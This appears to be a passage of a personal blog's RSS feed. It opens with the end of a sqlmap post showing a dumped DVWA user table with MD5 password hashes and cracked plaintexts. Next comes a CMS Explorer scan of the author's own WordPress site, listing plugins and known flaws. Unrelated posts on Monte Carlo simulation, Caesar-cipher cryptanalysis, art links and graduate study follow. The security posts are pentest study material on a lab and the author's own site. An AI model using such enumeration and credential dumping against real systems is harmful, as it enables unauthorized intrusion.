<pre>+---------------------------------+------------+-----------+---------------------------------------------+---------+---------+
| avatar                          | first_name | last_name | password                                    | user    | user_id |
+---------------------------------+------------+-----------+---------------------------------------------+---------+---------+
| dvwa/hackable/users/smithy.jpg  | Bob        | Smith     | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | smithy  | 5       |
| dvwa/hackable/users/admin.jpg   | admin      | admin     | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | admin   | 1       |
| dvwa/hackable/users/gordonb.jpg | Gordon     | Brown     | e99a18c428cb38d5f260853678922e03 (abc123)   | gordonb | 2       |
| dvwa/hackable/users/pablo.jpg   | Pablo      | Picasso   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | pablo   | 4       |
| dvwa/hackable/users/1337.jpg    | Hack       | Me        | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | 1337    | 3       |
+---------------------------------+------------+-----------+---------------------------------------------+---------+---------+</pre>
<div class="shr-publisher-641"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://eric.ness.net/archives/sql-injection-testing-with-sqlmap/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>CMS Explorer In Back Track</title>
		<link>http://eric.ness.net/archives/cms-explorer-in-back-track/</link>
		<comments>http://eric.ness.net/archives/cms-explorer-in-back-track/#comments</comments>
		<pubDate>Fri, 12 Aug 2011 04:00:39 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Back Track]]></category>

		<guid isPermaLink="false">http://eric.ness.net/?p=616</guid>
		<description><![CDATA[A quick run through CMS Explorer in exposing vulnerabilities of CMS.]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fcms-explorer-in-back-track%2F' data-shr_title='CMS+Explorer+In+Back+Track'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fcms-explorer-in-back-track%2F' data-shr_title='CMS+Explorer+In+Back+Track'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetTop Automatic --><p><img class="alignnone size-full wp-image-630" title="cms_explorer" src="http://eric.ness.net/wp-content/uploads/2011/08/cms_explorer.jpg" alt="" width="577" height="360" /></p>
<div style="padding: 5px; border: 1px solid #ddd; color: #1f1f1f; margin-bottom: 10px; background: #F8E3E0;"><strong>Disclaimer:</strong> This is for educational purposes only in the hopes you will use it to secure your own site and code. I take no responsibility for any malicious use of the following technology or approach. In short don&#8217;t be dumb.</div>
<p>So I am studying for the <a title="OSCP" href="http://www.offensive-security.com/online-information-security-training/penetration-testing-backtrack/">OSCP (Offensive Security Certified Professional)</a> certification and I&#8217;ve been playing around with some of the more obscure items in the <a title="Back Track Linux" href="http://www.backtrack-linux.org/">Back Track Linux Distribution</a>. One such item is <a title="CMS Explorer" href="http://code.google.com/p/cms-explorer/">CMS Explorer</a> that enumerates through content management systems plug-ins and themes to look for vulnerabilities in the Drupal, WordPress, Joomla!, Mambo CMS.</p>
<p>The <a title="CMS-Eplorer Usage" href="http://code.google.com/p/cms-explorer/wiki/Usage">syntax</a> is fairly straightforward and the results are fairly accurate. The cool thing is that it can tie in to the OSVDB database but you need to do two things to make it work properly.</p>
<ol>
<li>Sign up for a <a title="API Account" href="http://osvdb.org/api/about">OSVDB api account</a>.</li>
<li>Navigate to the /pentest/enumeration/web/cms-explorer directory and create a blank file called osvdb.key</li>
<li>In that file place your api key.</li>
<li>Run it! ./cms-explorer.pl -url http://eric.ness.net -type wordpress -osvdb</li>
</ol>
<p>Here are the results for my blog. As you can see this site is fairly light and all the vulnerabilities according to OSVDB are &#8220;unknown impact and attack vectors &#8221; or listed as &#8220;flagged as being a Myth/Fake&#8221;.</p>
<ol>
<li><a title="http://osvdb.org/37290" href="http://osvdb.org/37290">http://osvdb.org/37290</a></li>
<li><a title="http://osvdb.org/62683" href="http://osvdb.org/62683">http://osvdb.org/62683</a></li>
<li><a href="http://osvdb.org/56762">http://osvdb.org/56762</a></li>
</ol>
<p>Only downside for this enumeration is that it is fairly slow and can take up to an hour or more to run.</p>
<pre class="brush: jscript; title: ; notranslate">
root@bt:/pentest/enumeration/web/cms-explorer# ./cms-explorer.pl -url http://eric.ness.net -type wordpress -osvdb

*******************************************************
Beginning run against http://eric.ness.net/...
Testing themes from wp_themes.txt...
Theme Installed:		wp-content/themes/monochrome/
Testing plugins...
Plugin Installed:		wp-content/plugins/akismet/
Plugin Installed:		wp-content/plugins/all-in-one-seo-pack/
Plugin Installed:		wp-content/plugins/codesnippet-20/
Plugin Installed:		wp-content/plugins/contact-form-7/
Plugin Installed:		wp-content/plugins/sexybookmarks/
Plugin Installed:		wp-content/plugins/syntaxhighlighter/
Plugin Installed:		wp-content/plugins/tweet-blender/
Plugin Installed:		wp-content/plugins/wp-cache/
Plugin Installed:		wp-content/plugins/wp-pagenavi/

*******************************************************
Summary:
Theme Installed:		wp-content/themes/monochrome/
	URL			http://eric.ness.net/wp-content/themes/monochrome/
	SVN			http://themes.svn.wordpress.org/wp-content/themes/monochrome/
Plugin Installed:		wp-content/plugins/akismet/
	URL			http://eric.ness.net/wp-content/plugins/akismet/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/akismet/trunk/
	http://osvdb.org/37290	Akismet for WordPress akismet.php Unspecified Issue
	http://osvdb.org/62683	WordPress wp-content/plugins/akismet/akismet.php add_action() Function Path Disclosure
Plugin Installed:		wp-content/plugins/all-in-one-seo-pack/
	URL			http://eric.ness.net/wp-content/plugins/all-in-one-seo-pack/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/all-in-one-seo-pack/trunk/
Plugin Installed:		wp-content/plugins/codesnippet-20/
	URL			http://eric.ness.net/wp-content/plugins/codesnippet-20/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/codesnippet-20/trunk/
Plugin Installed:		wp-content/plugins/contact-form-7/
	URL			http://eric.ness.net/wp-content/plugins/contact-form-7/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/contact-form-7/trunk/
Plugin Installed:		wp-content/plugins/sexybookmarks/
	URL			http://eric.ness.net/wp-content/plugins/sexybookmarks/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/sexybookmarks/trunk/
Plugin Installed:		wp-content/plugins/syntaxhighlighter/
	URL			http://eric.ness.net/wp-content/plugins/syntaxhighlighter/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/syntaxhighlighter/trunk/
Plugin Installed:		wp-content/plugins/tweet-blender/
	URL			http://eric.ness.net/wp-content/plugins/tweet-blender/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/tweet-blender/trunk/
Plugin Installed:		wp-content/plugins/wp-cache/
	URL			http://eric.ness.net/wp-content/plugins/wp-cache/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/wp-cache/trunk/
	http://osvdb.org/56762	WP Super Cache for WordPress wp-cache-phase1.php plugin Parameter Remote File Inclusion
Plugin Installed:		wp-content/plugins/wp-pagenavi/
	URL			http://eric.ness.net/wp-content/plugins/wp-pagenavi/
	SVN			http://svn.wp-plugins.org/wp-content/plugins/wp-pagenavi/trunk/
</pre>
<div class="shr-publisher-616"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://eric.ness.net/archives/cms-explorer-in-back-track/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Monte Carlo Simulations in C#</title>
		<link>http://eric.ness.net/archives/monte-carlo-simulations-in-c/</link>
		<comments>http://eric.ness.net/archives/monte-carlo-simulations-in-c/#comments</comments>
		<pubDate>Mon, 23 May 2011 20:04:58 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[Statistics]]></category>

		<guid isPermaLink="false">http://eric.ness.net/?p=493</guid>
		<description><![CDATA[Monte Carlo Simulations in C#]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fmonte-carlo-simulations-in-c%2F' data-shr_title='Monte+Carlo+Simulations+in+C%23'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fmonte-carlo-simulations-in-c%2F' data-shr_title='Monte+Carlo+Simulations+in+C%23'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetTop Automatic --><p><img class="alignnone size-full wp-image-603" title="mcs_in_csharp1" src="http://eric.ness.net/wp-content/uploads/2011/05/mcs_in_csharp1.jpg" alt="" width="577" height="360" /></p>
<p>Let me say I am a huge fan of <a href="http://en.wikipedia.org/wiki/Monte_Carlo_method">Monte Carlo Simulations</a>. For those of you who are not familiar with <a href="http://www.vertex42.com/ExcelArticles/mc/MonteCarloSimulation.html">Monte Carlo Simulations</a> – Monte Carlo Simulations use random numbers and a model to simulate an outcome or event but the real strength in Monte Carlo Simulations is that you repeat the simulation hundreds if not thousands of times. After running the simulation, the results as a whole give you some great insight in to possible outcomes you can expect. The results are often more robust and accurate than other methods like regressions.</p>
<p>For this tutorial, I am going to replicate the core functionality of this <a href="http://www.lumenaut.com/images/montecarlo/monte_carlo_results1.htm">report</a> from <a href="http://www.lumenaut.com/montecarlo.htm">Lumenaut</a>. The model itself has a couple of fixed costs: Labor, Price per Widget and Rent. The model also has two variable items: Variable Cost per Widget and Number of Widgets Sold. So just like in real life if I want to figure out how much profit I am going to make I need to subtract my total costs from my revenue.</p>
<p><a href="http://eric.ness.net/wp-content/uploads/2011/05/lumenaut-monte-model.png"><img class="aligncenter size-full wp-image-570" title="lumenaut monte model" src="http://eric.ness.net/wp-content/uploads/2011/05/lumenaut-monte-model.png" alt="" width="264" height="323" /></a></p>
<p>But, where we see the strength of a Monte Carlo Simulation is that it says let’s take a look at this model again but, maybe I can buy my widgets a little cheaper and maybe I can sell a couple more. In addition, every month is a little different some you sell a couple more some a couple of less.</p>
<p>To simulate this we need to use some random numbers but a normal random number generator will not work because that will give us a uniform distribution. Some random number for a Monte Carlo Simulation needs to have very specific distributions: normal, log, triangular, gamma, or something else to better simulate real life. The <a href="http://reactnet.sourceforge.net/">React.NET</a> library gives us a very easy simple way to simulate all of these very easily.</p>
<p>So for Lumenaut’s model we need two normal distribution random number generators and the profit model outlined in the excel table and following graph. Please note that the <strong>Cost Per Widget</strong> is 5 with a standard deviation of 0.5 and the <strong>Number of Widgets Sold</strong> is 2,000 with a standard deviation of 200.</p>
<p><a href="http://eric.ness.net/wp-content/uploads/2011/05/sim-results.png"><img class="aligncenter size-full wp-image-574" title="sim results" src="http://eric.ness.net/wp-content/uploads/2011/05/sim-results.png" alt="" width="577" height="316" /></a></p>
<p>Here is the code I use.</p>
<pre class="brush: jscript; title: ; notranslate">
using System.Collections.Generic;
using React.Distribution;

namespace MonteCarloSimulation.Models
{
    /// &lt;summary&gt;
    /// Monte Carlo Simulation
    /// &lt;/summary&gt;
    public class MonteCarloModel
    {
        private const double FixedCost = 170000;
        private const double FixedSellingPrice = 100;
        private readonly double _costPerWidget;
        private readonly double _costPerWidgetSd;
        private readonly double _numOfSimulations;
        private readonly double _numOfWidgetSd;
        private readonly double _numOfWidgets;
        public int NumberOfSimulations = 10000;
        public List&lt;double&gt; RESULTS = new List&lt;double&gt;();

        /// &lt;summary&gt;
        /// Initializes a new instance of the &lt;see cref=&quot;MonteCarloModel&quot;/&gt; class.
        /// &lt;/summary&gt;
        /// &lt;param name=&quot;costPerWidget&quot;&gt;The cost per widget.&lt;/param&gt;
        /// &lt;param name=&quot;costPerWidgetSd&quot;&gt;The cost per widget sd.&lt;/param&gt;
        /// &lt;param name=&quot;numOfWidgets&quot;&gt;The num of widgets.&lt;/param&gt;
        /// &lt;param name=&quot;numOfWidgetSd&quot;&gt;The num of widget sd.&lt;/param&gt;
        /// &lt;param name=&quot;numOfSimulations&quot;&gt;The num of simulations.&lt;/param&gt;
        public MonteCarloModel(double costPerWidget,
                               double costPerWidgetSd,
                               double numOfWidgets,
                               double numOfWidgetSd,
                               double numOfSimulations)
        {
            _costPerWidget = costPerWidget;
            _costPerWidgetSd = costPerWidgetSd;
            _numOfWidgets = numOfWidgets;
            _numOfWidgetSd = numOfWidgetSd;
            _numOfSimulations = numOfSimulations;
            Run();
        }

        /// &lt;summary&gt;
        /// Runs the Monte Carlo Simulation
        /// &lt;/summary&gt;
        private void Run()
        {
            // Set up our Normal distributions with the mean, and the Standard Deviation
            var costPerWidgetDist = new Normal(_costPerWidget, _costPerWidgetSd);
            var numberOfWidgetDist = new Normal(_numOfWidgets, _numOfWidgetSd);

            for (int i = 0; i &lt; _numOfSimulations; i++)
            {
                // Get the next ranom number for our model
                double costPerWidget = costPerWidgetDist.NextDouble();
                double numberOfWidgetsSold = numberOfWidgetDist.NextDouble();

                // Calculate the revenue
                double revenue = numberOfWidgetsSold*FixedSellingPrice;

                // Calculate the costs
                double cost = (costPerWidget*numberOfWidgetsSold + FixedCost);

                // Add result to our results list
                RESULTS.Add(revenue - cost);
            }
        }
    }
}
</pre>
<p>Here is a little display I put together and as you can see, the results are very similar; they will not be exactly the same as there is a random component to all of this.</p>
<p><a href="http://eric.ness.net/wp-content/uploads/2011/05/1983634598.png"><img class="aligncenter size-full wp-image-577" title="1983634598" src="http://eric.ness.net/wp-content/uploads/2011/05/1983634598.png" alt="" width="577" height="360" /></a></p>
<p><a href="http://eric.ness.net/wp-content/uploads/2011/05/MonteCarloSimulation.zip">Download the code!</a></p>
<p><strong>Note:</strong><br />
There are a number of things to note here:</p>
<ol>
<li>This is nowhere near production code (read as good code) – it is simply for you to look at and get you going down the road to Monte Carlo Simulations. I think I spent all of 30 minutes putting it together so don’t expect anything nice and neat. :-)</li>
<li>I had to remove the Dundas graphing library, as I cannot distribute it per my license. But, it should work just fine with the <a href="http://www.microsoft.com/downloads/en/details.aspx?FamilyID=130f7986-bf49-4fe5-9ca8-910ae6ea442c&amp;DisplayLang=en">Microsoft graphing library</a>.</li>
<li>Enjoy!</li>
</ol>
<div class="shr-publisher-493"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://eric.ness.net/archives/monte-carlo-simulations-in-c/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Cryptanalysis Using n-Gram Probabilities</title>
		<link>http://eric.ness.net/archives/cryptanalysis-using-n-gram-probabilities/</link>
		<comments>http://eric.ness.net/archives/cryptanalysis-using-n-gram-probabilities/#comments</comments>
		<pubDate>Sat, 01 May 2010 09:35:31 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[Machine Learning]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Natural Language Processing]]></category>

		<guid isPermaLink="false">http://eric.ness.net/?p=472</guid>
		<description><![CDATA[Cryptanalysis Using Microsoft Web N-Gram Service]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fcryptanalysis-using-n-gram-probabilities%2F' data-shr_title='Cryptanalysis+Using+n-Gram+Probabilities'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fcryptanalysis-using-n-gram-probabilities%2F' data-shr_title='Cryptanalysis+Using+n-Gram+Probabilities'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetTop Automatic --><p><img class="alignnone" src="/wp-content/uploads/2010/05/cryptanalysis.jpg" alt="" width="577" height="360" /></p>
<p>One of my favorite programmers is <a href="http://norvig.com/">Peter Norvig</a> who is currently Director of Research at Google. This summer I picked up a book called <a href="http://oreilly.com/catalog/9780596157128">Beautiful Data</a> in which Norvig contributed a chapter called &#8220;Natural Language Corpus Data&#8221; in which he outlined a number of very cool things you can do with n-grams in the google  corpus. It covers some of the things you&#8217;d imagine that it would cover: spelling correction, word segmentation, etc. The one item covered that I had never considered was in the area of cryptanalysis.</p>
<p>The cool thing is that Google will give you their corpus to <a href="http://googleresearch.blogspot.com/2006/08/all-our-n-gram-are-belong-to-you.html">download</a>. The only problem is that it contains &#8220;1,024,908,267,229 words of running text&#8221; and is 24 GB compressed in size. This is a bit impractical to run on your dev box. Enter Microsoft &#8211; the <a href="http://web-ngram.research.microsoft.com/info/">Microsoft Web N-gram Service </a>just went Beta and is now available to Professors and Students so I immediately signed up and I have to say that it pretty cool!</p>
<p>So I wanted to try out the new service using one of Norvig&#8217;s examples in his book &#8211; specifically using n-gram probabilities and character shifting. This is a very simple example and fairly basic type of encryption where the if the user types an &#8216;a&#8217; it gets shifted to &#8216;n&#8217; or whatever. So you simply run through all 26 possibilities and use the individual words combined probabilities to determine the answer to the encoded message.</p>
<p>This project has a Service Refrence connected to <a href="http://web-ngram.research.microsoft.com/info/">Microsoft&#8217;s n-Gram Service</a>. The service requires an n-gram model and a user id which you get when you sign up (<a href="http://web-ngram.research.microsoft.com/info/quickstart.htm">see their quickstart tutorial</a>). So let&#8217;s take a look at some code:</p>
<pre class="brush: jscript; title: ; notranslate">
using System;
using System.Collections.Generic;
using System.Configuration;
using System.Linq;
using MicrosoftNGramTest.NGramService;

namespace MicrosoftNGramTest.classes
{
    internal class Shift
    {
        #region Variables

        private readonly string _alphabet = &quot;abcdefghijklmnopqrstuvwxyz&quot;;
        private readonly string _ngramModel = ConfigurationManager.AppSettings.Get(&quot;ngramModel&quot;);
        private readonly string _userToken = ConfigurationManager.AppSettings.Get(&quot;userToken&quot;);

        #endregion

        #region Run The Test

        /// &lt;summary&gt;
        /// Runs the test
        /// &lt;/summary&gt;
        public void Test()
        {
            // Print title
            Console.WriteLine(&quot;Character Shift Cryptanalysis&quot;);
            Console.WriteLine(&quot;#############################&quot;);

            // Local Variables
            const string phrase = &quot;Yvfgra, qb lbh jnag gb xabj n frperg?&quot;;
            string[] words = phrase.ToLower().Split(' ');
            var newPhrase = new string[26];
            var client = new LookupServiceClient();
            var result = new Dictionary&lt;string, int&gt;();

            try
            {
                // Loop the word variations
                foreach (string s in words)
                {
                    char[] currentWord = s.ToCharArray();

                    foreach (char c in currentWord)
                    {
                        for (int i = 0; i &lt; 26; i++)
                        {
                            newPhrase[i] += CharShift(c, i);
                        }
                    }

                    for (int i = 0; i &lt; newPhrase.Count(); i++)
                    {
                        newPhrase[i] += &quot; &quot;;
                    }
                }

                // Print phrases with probabilities
                foreach (string s in newPhrase)
                {
                    string[] newWords = s.Split(' ');
                    double prob = 0;
                    foreach (string word in newWords)
                    {
                        prob += client.GetProbability(_userToken, _ngramModel, word);
                    }
                    Console.WriteLine(s + &quot; &quot; + Convert.ToInt32(prob));
                    result.Add(s, Convert.ToInt32(prob));
                }

                // Print answer
                Console.WriteLine();
                Console.WriteLine(&quot;The answer is:&quot;);
                KeyValuePair&lt;string, int&gt; q = (from t in result
                                               orderby t.Value descending
                                               select t).FirstOrDefault();
                Console.WriteLine(q.Key + &quot; &quot; + q.Value);
            }
            finally
            {
                client.Close();
            }
        }

        #endregion

        #region Shifting

        /// &lt;summary&gt;
        /// Gets the alphabet array.
        /// &lt;/summary&gt;
        /// &lt;returns&gt;&lt;/returns&gt;
        private char[] GetAlphabetArray()
        {
            return _alphabet.ToCharArray();
        }

        /// &lt;summary&gt;
        /// Gets the current char array position.
        /// &lt;/summary&gt;
        /// &lt;param name=&quot;c&quot;&gt;The c.&lt;/param&gt;
        /// &lt;returns&gt;&lt;/returns&gt;
        private int GetCurrentCharArrayPosition(char c)
        {
            int position = 0;
            int count = 0;

            foreach (char letter in GetAlphabetArray())
            {
                if (letter == c)
                {
                    position = count;
                }
                count++;
            }
            return position;
        }

        /// &lt;summary&gt;
        /// Shifts the character.
        /// &lt;/summary&gt;
        /// &lt;param name=&quot;c&quot;&gt;The c.&lt;/param&gt;
        /// &lt;param name=&quot;increase&quot;&gt;The increase.&lt;/param&gt;
        /// &lt;returns&gt;&lt;/returns&gt;
        private char CharShift(char c, int increase)
        {
            const int numOfLetters = 26;
            char[] alphabet = GetAlphabetArray();
            int currentArrayPosition = GetCurrentCharArrayPosition(c);
            char letter = c;

            if (IsCharInArray(c))
            {
                if ((currentArrayPosition + increase) &lt; numOfLetters)
                {
                    letter = alphabet[currentArrayPosition + increase];
                }
                else
                {
                    int newPosition = (currentArrayPosition + increase) - numOfLetters;
                    letter = alphabet[newPosition];
                }
            }
            return letter;
        }

        /// &lt;summary&gt;
        /// Determines whether the char is in the array.
        /// &lt;/summary&gt;
        /// &lt;param name=&quot;c&quot;&gt;The c.&lt;/param&gt;
        /// &lt;returns&gt;
        /// 	&lt;c&gt;true&lt;/c&gt; if [is char in array] [the specified c]; otherwise, &lt;c&gt;false&lt;/c&gt;.
        /// &lt;/returns&gt;
        private bool IsCharInArray(char c)
        {
            bool isCharInArray = false;
            IEnumerable&lt;char&gt; q = (from t in GetAlphabetArray()
                                   where t == c
                                   select t);
            if (q.Count() &gt; 0)
            {
                isCharInArray = true;
            }
            return isCharInArray;
        }

        #endregion
    }
}
</pre>
<p>And here is the result!<br />
<img src="/wp-content/uploads/2010/05/crypt_results.jpg" alt="Results" width="577" /></p>
<div class="shr-publisher-472"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://eric.ness.net/archives/cryptanalysis-using-n-gram-probabilities/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Art Post: Katie Lewis &amp; Graffiti Screen Prints</title>
		<link>http://eric.ness.net/archives/art-post-katie-lewis-graffiti-screen-prints/</link>
		<comments>http://eric.ness.net/archives/art-post-katie-lewis-graffiti-screen-prints/#comments</comments>
		<pubDate>Sat, 17 Apr 2010 00:47:54 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[Art]]></category>
		<category><![CDATA[Link Roundup]]></category>

		<guid isPermaLink="false">http://eric.ness.net/?p=463</guid>
		<description><![CDATA[I came across Katie Lewis's <a title="Katie Lewis" href="http://katiehollandlewis.com">portfolio site</a> today and I think it is amazing.]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fart-post-katie-lewis-graffiti-screen-prints%2F' data-shr_title='Art+Post%3A+Katie+Lewis+%26+Graffiti+Screen+Prints'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fart-post-katie-lewis-graffiti-screen-prints%2F' data-shr_title='Art+Post%3A+Katie+Lewis+%26+Graffiti+Screen+Prints'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetTop Automatic --><p><a href="http://eric.ness.net/wp-content/uploads/2010/04/artpost.jpg"><img class="alignnone size-full wp-image-464" title="artpost" src="http://eric.ness.net/wp-content/uploads/2010/04/artpost.jpg" alt="" width="577" height="360" /></a></p>
<p>I came across Katie Lewis&#8217;s <a title="Katie Lewis" href="http://katiehollandlewis.com">portfolio site</a> today and I think it is amazing.</p>
<p>I also wanted to post some various screen print sites that I like as well:</p>
<p><a href="http://www.imbueUK.com/">imbueUK</a></p>
<p><a href="http://feedyourwall.com">Feed Your Wall</a></p>
<p><a href="http://www.lazinc.com">lazinc</a></p>
<p><a href="http://www.prescriptionart.com">Prescription Art</a></p>
<p><a href="http://hanguppictures.com">Hang Up Pictures</a></p>
<p><a href="http://www.artrepublic.com">Art Republic.com</a></p>
<p><a href="http://www.auctionsaboteur.co.uk">Auction Saboteur</a></p>
<p><a href="http://www.handmadeposters.com">Hand Made Posters</a></p>
<p><a href="http://papermonster.net">Paper Monster</a></p>
<p><a href="http://airmonkey.co.uk">Air Monkey</a></p>
<p><a href="http://renegagnonfineart.com">Renegagn On Fine Art</a></p>
<p><a href="http://www.pureevilclothing.com">Pure Evil Clothing</a></p>
<p><a href="http://www.shopatlazarides.com/">Shop At Lazarides</a></p>
<p><a href="http://www.blkmrktgallery.com">Blk/Mrkt Gallery</a></p>
<p><a href="http://www.artnet.com/auctions/">ArtNet Auctions</a></p>
<p><a href="http://www.myartbroker.co.uk/">myartbroker.co.uk</a></p>
<p><a href="http://www.liveauctioneers.com/">liveauctioneers.com</a></p>
<p><a href="http://www.nowallsgallery.com">No Walls Gallery</a></p>
<p><a href="http://www.arttoko.nl">Art Toko</a></p>
<p><a href="http://www.galleryd-7.com">Gallery D-7</a></p>
<p><a href="http://www.zarts.com/">ZArts</a></p>
<p><a href="http://www.artfact.com/">Art Fact</a></p>
<p><a href="http://artwrx.co.uk">ARTWRX</a></p>
<p><a href="http://shop.inoperable.at/">INOP SHOP</a></p>
<div class="shr-publisher-463"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://eric.ness.net/archives/art-post-katie-lewis-graffiti-screen-prints/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Software Engineering Masters</title>
		<link>http://eric.ness.net/archives/software-engineering-masters/</link>
		<comments>http://eric.ness.net/archives/software-engineering-masters/#comments</comments>
		<pubDate>Fri, 05 Mar 2010 04:54:01 +0000</pubDate>
		<dc:creator>Eric</dc:creator>
				<category><![CDATA[Software Engineering]]></category>

		<guid isPermaLink="false">http://eric.ness.net/?p=455</guid>
		<description><![CDATA[I am starting a masters in Software Engineering at the Harvard University Extension School.]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fsoftware-engineering-masters%2F' data-shr_title='Software+Engineering+Masters'></a><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Feric.ness.net%2Farchives%2Fsoftware-engineering-masters%2F' data-shr_title='Software+Engineering+Masters'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetTop Automatic --><p><a href="http://eric.ness.net/wp-content/uploads/2010/03/software_engineering.jpg"><img class="alignnone size-full wp-image-457" title="software_engineering" src="http://eric.ness.net/wp-content/uploads/2010/03/software_engineering.jpg" alt="" width="577" height="360" /></a></p>
<p>So I am starting a masters in Software Engineering at the <span style="text-decoration: line-through;">University of Maryland University College</span> Harvard University Extension School. I ended up checking out numerous programs and it was kind of interesting some of items that became important to me.</p>
<ol>
<li><strong>Online:</strong> I kind of knew that I would probably need a program that is at least partly online. This is mainly due to the fact that my work often requires me to travel often for up to two weeks at a time.</li>
<li><strong>Program Type:</strong> I am in kind of a weird place academically. I graduated with a Bachelors of Science in Information Technology even though I considered myself to be in the Computer Science program. I actually took all the required classes for the Comp Sci degree with the exception of all the math. This is now a bit of a detriment because I could have used about two more math classes that most masters programs require. It really leaves me at looking at Software Engineering or Business Intelligence DB programs.</li>
<li><strong>Computer Science Programs:</strong> Interestingly enough there are many aspects to Computer Science that I am not interested in: namely many programs have you focus in a particular area (i.e. graphics). The only focus area that really interests me is Machine Learning and often this gets put under AI &#8211; which often is not really the same.</li>
<li><strong>DC &#8211; Area:</strong> The DC area is kind of a strange place to look for schools. There are only a couple of programs that are actually convenient for me to travel to: George Washington, American, Georgetown, Howard and the University of the District of Columbia. But, truth be told I am actually not really interested in any of these schools for various reasons.</li>
</ol>
<p><strong>[Update] </strong>It&#8217;s been a while since I wrote this post but, I found out that Harvard actually has a great <a href="http://www.extension.harvard.edu/information-technology/default.jsp">software engineering program</a> and so I switched. There are some <a href="http://dceweb.harvard.edu/prod/sswcpgm.taf?function=search&amp;wgrp=ALMIT&amp;_UserReference=0A330526465412B5D5FF7ACF136C4C1591A4">awesome classes</a>, with <a href="http://harvardscience.harvard.edu/directory/researchers/henry-h-leitner">some</a> <a href="http://www.extension.harvard.edu/2010-11/about/faculty/jeff-parker.jsp">amazing</a> <a href="http://www.extension.harvard.edu/2010-11/about/faculty/david-albert.jsp">people</a>&#8230; and a <a href="http://www.extension.harvard.edu/2010-11/courses/23431.jsp?caller=dce">couple that scare the crap out of me</a>.</p>
